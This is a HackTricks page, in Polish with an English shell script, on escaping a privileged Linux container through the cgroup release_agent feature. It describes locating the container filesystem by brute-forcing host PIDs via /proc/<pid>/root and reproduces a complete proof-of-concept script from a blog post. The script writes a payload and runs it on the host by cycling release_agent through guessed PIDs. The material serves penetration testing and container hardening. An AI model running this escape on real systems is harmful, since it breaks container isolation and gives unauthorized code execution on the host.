release_agent exploit - Relative Paths to PIDs

Support HackTricks

Aby uzyskać więcej szczegółów, sprawdź wpis na blogu pod adresem https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. To tylko podsumowanie:

Technika opisuje metodę wykonywania kodu hosta z wnętrza kontenera, pokonując wyzwania związane z konfiguracjami sterowników pamięci, które ukrywają ścieżkę systemu plików kontenera na hoście, takie jak Kata Containers lub specyficzne ustawienia devicemapper.

Kluczowe kroki:

  1. Lokalizacja identyfikatorów procesów (PID): Używając symbolicznego linku /proc/<pid>/root w pseudo-systemie plików Linux, można uzyskać dostęp do dowolnego pliku w kontenerze w odniesieniu do systemu plików hosta. To omija potrzebę znajomości ścieżki systemu plików kontenera na hoście.

  2. Bashowanie PID: Zastosowano podejście brute force do przeszukiwania PID na hoście. Robi się to, sprawdzając kolejno obecność konkretnego pliku w /proc/<pid>/root/<file>. Gdy plik zostanie znaleziony, wskazuje to, że odpowiadający PID należy do procesu działającego wewnątrz docelowego kontenera.

  3. Wywołanie wykonania: Odgadnięta ścieżka PID jest zapisywana w pliku cgroups release_agent. Ta akcja wywołuje wykonanie release_agent. Sukces tego kroku potwierdza się, sprawdzając utworzenie pliku wyjściowego.

Proces eksploatacji

Proces eksploatacji obejmuje bardziej szczegółowy zestaw działań, mających na celu wykonanie ładunku na hoście poprzez odgadnięcie poprawnego PID procesu działającego wewnątrz kontenera. Oto jak to się rozwija:

  1. Inicjalizacja środowiska: Skrypt ładunku (payload.sh) jest przygotowywany na hoście, a unikalny katalog jest tworzony do manipulacji cgroup.

  2. Przygotowanie ładunku: Skrypt ładunku, który zawiera polecenia do wykonania na hoście, jest zapisany i uczyniony wykonywalnym.

  3. Konfiguracja cgroup: Cgroup jest montowany i konfigurowany. Flaga notify_on_release jest ustawiona, aby zapewnić, że ładunek zostanie wykonany, gdy cgroup zostanie zwolniony.

  4. Brute Force PID: Pętla iteruje przez potencjalne PID, zapisując każdy odgadnięty PID w pliku release_agent. To skutecznie ustawia skrypt ładunku jako release_agent.

  5. Wywołanie i sprawdzenie wykonania: Dla każdego PID zapisywane jest cgroup.procs cgroup, co wywołuje wykonanie release_agent, jeśli PID jest poprawny. Pętla trwa, aż znajdzie się wyjście skryptu ładunku, co wskazuje na pomyślne wykonanie.

PoC z wpisu na blogu:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Wsparcie dla HackTricks

Last updated